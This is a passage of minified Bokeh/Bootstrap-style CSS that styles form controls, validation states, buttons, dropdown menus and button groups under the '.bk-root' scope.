fieldset{padding:0;margin:0;border:0;min-width:0}.bk-root legend{display:block;width:100%;padding:0;margin-bottom:17px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}.bk-root label{display:inline-block;margin-bottom:5px}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root input[type=\\\\\\\"radio\\\\\\\"],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]{margin:4px 0 0;margin-top:1px \\\\\\\\9;line-height:normal}.bk-root input[type=\\\\\\\"file\\\\\\\"]{display:block}.bk-root input[type=\\\\\\\"range\\\\\\\"]{display:block;width:100%}.bk-root select[multiple],.bk-root select[size]{height:auto}.bk-root input[type=\\\\\\\"file\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"radio\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root output{display:block;padding-top:7px;line-height:1.42857143;color:#555}.bk-root .bk-bs-form-control{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-bs-form-control::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-bs-form-control:-ms-input-placeholder{color:#999}.bk-root .bk-bs-form-control::-webkit-input-placeholder{color:#999}.bk-root .bk-bs-form-control[disabled],.bk-root .bk-bs-form-control[readonly],fieldset[disabled] .bk-root .bk-bs-form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-bs-form-control{height:auto}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-appearance:none}.bk-root input[type=\\\\\\\"date\\\\\\\"]{line-height:31px}.bk-root .bk-bs-form-group{margin-bottom:15px}.bk-root .bk-bs-radio,.bk-root .bk-bs-checkbox{display:block;min-height:17px;margin-top:10px;margin-bottom:10px;padding-left:20px}.bk-root .bk-bs-radio label,.bk-root .bk-bs-checkbox label{display:inline;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-radio-inline input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"],.bk-root .bk-bs-checkbox-inline input[type=\\\\\\\"checkbox\\\\\\\"]{float:left;margin-left:-20px}.bk-root .bk-bs-radio+.bk-bs-radio,.bk-root .bk-bs-checkbox+.bk-bs-checkbox{margin-top:-5px}.bk-root .bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio-inline+.bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline+.bk-bs-checkbox-inline{margin-top:0;margin-left:10px}.bk-root input[type=\\\\\\\"radio\\\\\\\"][disabled],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"][disabled],.bk-root .bk-bs-radio[disabled],.bk-root .bk-bs-radio-inline[disabled],.bk-root .bk-bs-checkbox[disabled],.bk-root .bk-bs-checkbox-inline[disabled],fieldset[disabled] .bk-root input[type=\\\\\\\"radio\\\\\\\"],fieldset[disabled] .bk-root input[type=\\\\\\\"checkbox\\\\\\\"],fieldset[disabled] .bk-root .bk-bs-radio,fieldset[disabled] .bk-root .bk-bs-radio-inline,fieldset[disabled] .bk-root .bk-bs-checkbox,fieldset[disabled] .bk-root .bk-bs-checkbox-inline{cursor:not-allowed}.bk-root .bk-bs-input-sm{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-sm{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-sm,select[multiple].bk-root .bk-bs-input-sm{height:auto}.bk-root .bk-bs-input-lg{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-lg{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-lg,select[multiple].bk-root .bk-bs-input-lg{height:auto}.bk-root .bk-bs-has-feedback{position:relative}.bk-root .bk-bs-has-feedback .bk-bs-form-control{padding-right:38.75px}.bk-root .bk-bs-has-feedback .bk-bs-form-control-feedback{position:absolute;top:22px;right:0;display:block;width:31px;height:31px;line-height:31px;text-align:center}.bk-root .bk-bs-has-success .bk-bs-help-block,.bk-root .bk-bs-has-success .bk-bs-control-label,.bk-root .bk-bs-has-success .bk-bs-radio,.bk-root .bk-bs-has-success .bk-bs-checkbox,.bk-root .bk-bs-has-success .bk-bs-radio-inline,.bk-root .bk-bs-has-success .bk-bs-checkbox-inline{color:#3c763d}.bk-root .bk-bs-has-success .bk-bs-form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-success .bk-bs-form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.bk-root .bk-bs-has-success .bk-bs-input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.bk-root .bk-bs-has-success .bk-bs-form-control-feedback{color:#3c763d}.bk-root .bk-bs-has-warning .bk-bs-help-block,.bk-root .bk-bs-has-warning .bk-bs-control-label,.bk-root .bk-bs-has-warning .bk-bs-radio,.bk-root .bk-bs-has-warning .bk-bs-checkbox,.bk-root .bk-bs-has-warning .bk-bs-radio-inline,.bk-root .bk-bs-has-warning .bk-bs-checkbox-inline{color:#8a6d3b}.bk-root .bk-bs-has-warning .bk-bs-form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-warning .bk-bs-form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.bk-root .bk-bs-has-warning .bk-bs-input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.bk-root .bk-bs-has-warning .bk-bs-form-control-feedback{color:#8a6d3b}.bk-root .bk-bs-has-error .bk-bs-help-block,.bk-root .bk-bs-has-error .bk-bs-control-label,.bk-root .bk-bs-has-error .bk-bs-radio,.bk-root .bk-bs-has-error .bk-bs-checkbox,.bk-root .bk-bs-has-error .bk-bs-radio-inline,.bk-root .bk-bs-has-error .bk-bs-checkbox-inline{color:#a94442}.bk-root .bk-bs-has-error .bk-bs-form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-error .bk-bs-form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.bk-root .bk-bs-has-error .bk-bs-input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.bk-root .bk-bs-has-error .bk-bs-form-control-feedback{color:#a94442}.bk-root .bk-bs-form-control-static{margin-bottom:0}.bk-root .bk-bs-help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.bk-root .bk-bs-form-inline .bk-bs-form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-form-control{display:inline-block;width:auto;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-input-group>.bk-bs-form-control{width:100%}.bk-root .bk-bs-form-inline .bk-bs-control-label{margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio,.bk-root .bk-bs-form-inline .bk-bs-checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-form-inline .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"]{float:none;margin-left:0}.bk-root .bk-bs-form-inline .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0}}.bk-root .bk-bs-form-horizontal .bk-bs-control-label,.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox,.bk-root .bk-bs-form-horizontal .bk-bs-radio-inline,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox{min-height:24px}.bk-root .bk-bs-form-horizontal .bk-bs-form-group{margin-left:-15px;margin-right:-15px}.bk-root .bk-bs-form-horizontal .bk-bs-form-control-static{padding-top:7px}@media(min-width:768px){.bk-root .bk-bs-form-horizontal .bk-bs-control-label{text-align:right}}.bk-root .bk-bs-form-horizontal .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0;right:15px}.bk-root .bk-bs-btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:12px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.bk-root .bk-bs-btn:focus,.bk-root .bk-bs-btn:active:focus,.bk-root .bk-bs-btn.bk-bs-active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root .bk-bs-btn:hover,.bk-root .bk-bs-btn:focus{color:#333;text-decoration:none}.bk-root .bk-bs-btn:active,.bk-root .bk-bs-btn.bk-bs-active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn.bk-bs-disabled,.bk-root .bk-bs-btn[disabled],fieldset[disabled] .bk-root .bk-bs-btn{cursor:not-allowed;pointer-events:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-default{color:#333;background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{color:#333;background-color:#ebebeb;border-color:#adadad}.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{background-image:none}.bk-root .bk-bs-btn-default.bk-bs-disabled,.bk-root .bk-bs-btn-default[disabled],fieldset[disabled] .bk-root .bk-bs-btn-default,.bk-root .bk-bs-btn-default.bk-bs-disabled:hover,.bk-root .bk-bs-btn-default[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default.bk-bs-disabled:focus,.bk-root .bk-bs-btn-default[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default.bk-bs-disabled:active,.bk-root .bk-bs-btn-default[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-default[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-default.bk-bs-active{background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default .bk-bs-badge{color:#fff;background-color:#333}.bk-root .bk-bs-btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{color:#fff;background-color:#3276b1;border-color:#285e8e}.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{background-image:none}.bk-root .bk-bs-btn-primary.bk-bs-disabled,.bk-root .bk-bs-btn-primary[disabled],fieldset[disabled] .bk-root .bk-bs-btn-primary,.bk-root .bk-bs-btn-primary.bk-bs-disabled:hover,.bk-root .bk-bs-btn-primary[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary.bk-bs-disabled:focus,.bk-root .bk-bs-btn-primary[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary.bk-bs-disabled:active,.bk-root .bk-bs-btn-primary[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-primary[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-primary.bk-bs-active{background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary .bk-bs-badge{color:#428bca;background-color:#fff}.bk-root .bk-bs-btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{color:#fff;background-color:#47a447;border-color:#398439}.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{background-image:none}.bk-root .bk-bs-btn-success.bk-bs-disabled,.bk-root .bk-bs-btn-success[disabled],fieldset[disabled] .bk-root .bk-bs-btn-success,.bk-root .bk-bs-btn-success.bk-bs-disabled:hover,.bk-root .bk-bs-btn-success[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success.bk-bs-disabled:focus,.bk-root .bk-bs-btn-success[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success.bk-bs-disabled:active,.bk-root .bk-bs-btn-success[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-success[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-success.bk-bs-active{background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success .bk-bs-badge{color:#5cb85c;background-color:#fff}.bk-root .bk-bs-btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{color:#fff;background-color:#39b3d7;border-color:#269abc}.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{background-image:none}.bk-root .bk-bs-btn-info.bk-bs-disabled,.bk-root .bk-bs-btn-info[disabled],fieldset[disabled] .bk-root .bk-bs-btn-info,.bk-root .bk-bs-btn-info.bk-bs-disabled:hover,.bk-root .bk-bs-btn-info[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info.bk-bs-disabled:focus,.bk-root .bk-bs-btn-info[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info.bk-bs-disabled:active,.bk-root .bk-bs-btn-info[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-info[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-info.bk-bs-active{background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info .bk-bs-badge{color:#5bc0de;background-color:#fff}.bk-root .bk-bs-btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{color:#fff;background-color:#ed9c28;border-color:#d58512}.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{background-image:none}.bk-root .bk-bs-btn-warning.bk-bs-disabled,.bk-root .bk-bs-btn-warning[disabled],fieldset[disabled] .bk-root .bk-bs-btn-warning,.bk-root .bk-bs-btn-warning.bk-bs-disabled:hover,.bk-root .bk-bs-btn-warning[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning.bk-bs-disabled:focus,.bk-root .bk-bs-btn-warning[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning.bk-bs-disabled:active,.bk-root .bk-bs-btn-warning[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-warning[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-warning.bk-bs-active{background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning .bk-bs-badge{color:#f0ad4e;background-color:#fff}.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d2322d;border-color:#ac2925}.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{background-image:none}.bk-root .bk-bs-btn-danger.bk-bs-disabled,.bk-root .bk-bs-btn-danger[disabled],fieldset[disabled] .bk-root .bk-bs-btn-danger,.bk-root .bk-bs-btn-danger.bk-bs-disabled:hover,.bk-root .bk-bs-btn-danger[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger.bk-bs-disabled:focus,.bk-root .bk-bs-btn-danger[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger.bk-bs-disabled:active,.bk-root .bk-bs-btn-danger[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-danger[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-danger.bk-bs-active{background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger .bk-bs-badge{color:#d9534f;background-color:#fff}.bk-root .bk-bs-btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:active,.bk-root .bk-bs-btn-link[disabled],fieldset[disabled] .bk-root .bk-bs-btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus,.bk-root .bk-bs-btn-link:active{border-color:transparent}.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent}.bk-root .bk-bs-btn-link[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-link:focus{color:#999;text-decoration:none}.bk-root .bk-bs-btn-lg{padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}.bk-root .bk-bs-btn-sm{padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-xs{padding:1px 5px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-block{display:block;width:100%;padding-left:0;padding-right:0}.bk-root .bk-bs-btn-block+.bk-bs-btn-block{margin-top:5px}.bk-root input[type=\\\\\\\"submit\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"reset\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"button\\\\\\\"].bk-bs-btn-block{width:100%}.bk-root .bk-bs-caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.bk-root .bk-bs-dropdown{position:relative}.bk-root .bk-bs-dropdown-toggle:focus{outline:0}.bk-root .bk-bs-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.bk-root .bk-bs-dropdown-menu.bk-bs-pull-right{right:0;left:auto}.bk-root .bk-bs-dropdown-menu .bk-bs-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.bk-root .bk-bs-dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.bk-root .bk-bs-dropdown-menu>li>a:hover,.bk-root .bk-bs-dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{color:#999}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.bk-bs-Microsoft.bk-bs-gradient(enabled = false);cursor:not-allowed}.bk-root .bk-bs-open>.bk-bs-dropdown-menu{display:block}.bk-root .bk-bs-open>a{outline:0}.bk-root .bk-bs-dropdown-menu-right{left:auto;right:0}.bk-root .bk-bs-dropdown-menu-left{left:0;right:auto}.bk-root .bk-bs-dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#999}.bk-root .bk-bs-dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.bk-root .bk-bs-pull-right>.bk-bs-dropdown-menu{right:0;left:auto}.bk-root .bk-bs-dropup .bk-bs-caret,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-caret{border-top:0;border-bottom:4px solid;content:\\\\\\\"\\\\\\\"}.bk-root .bk-bs-dropup .bk-bs-dropdown-menu,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media(min-width:768px){.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu{left:auto;right:0}.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu-left{left:0;right:auto}}.bk-root .bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.bk-root .bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn{position:relative;float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group>.bk-bs-btn:active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:active,.bk-root .bk-bs-btn-group>.bk-bs-btn.bk-bs-active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn.bk-bs-active{z-index:2}.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus{outline:0}.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-btn-toolbar{margin-left:-5px}.bk-root .bk-bs-btn-toolbar .bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar .bk-bs-input-group{float:left}.bk-root .bk-bs-btn-toolbar>.bk-bs-btn,.bk-root .bk-bs-btn-toolbar>.bk-bs-btn-group,.bk-root .bk-bs-btn-toolbar>.bk-bs-input-group{margin-left:5px}.bk-root .bk-bs-btn-group>.bk-bs-btn:not(:first-child):not(:last-child):not(.bk-bs-dropdown-toggle){border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child{margin-left:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:first-child:not(:last-child):not(.bk-bs-dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn:last-child:not(:first-child),.bk-root .bk-bs-btn-group>.bk-bs-dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group{float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-btn:last-child,.bk-root .bk-bs-btn-group>.bk-bs-btn-group:first-child>.bk-bs-dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.bk-root .bk-bs-btn-group>.bk-bs-btn-group:last-child>.bk-bs-btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group .bk-bs-dropdown-toggle:active,.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{outline:0}.bk-root .bk-bs-btn-group>.bk-bs-btn+.bk-bs-dropdown-toggle{padding-left:8px;padding-right:8px}.bk-root .bk-bs-btn-group>.bk-bs-btn-lg+.bk-bs-dropdown-toggle{padding-left:12px;padding-right:12px}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn-group.bk-bs-open .bk-bs-dropdown-toggle.bk-bs-btn-link{-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn .bk-bs-caret{margin-left:0}.bk-root .bk-bs-btn-lg .bk-bs-caret{border-width:5px 5px 0;border-bottom-width:0}.bk-root .bk-bs-dropup .bk-bs-btn-lg .bk-bs-caret{border-width:0 5px 5px}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{display:block;float:none;width:100%;max-width:100%}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group>.bk-bs-btn{float:none}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group+.bk-bs-btn-group{margin-top:-1px;margin-left:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:not(:first-child):not(:last-child){border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:last-child:not(:first-child){border-bottom-left-radius:4px;border-top-right-radius:0;border-top-left-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:not(:first-child):not(:last-child)>.bk-bs-btn{border-radius:0}.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn-group:first-child:not(:last-child)>.bk-bs-btn:last-child,.bk-root 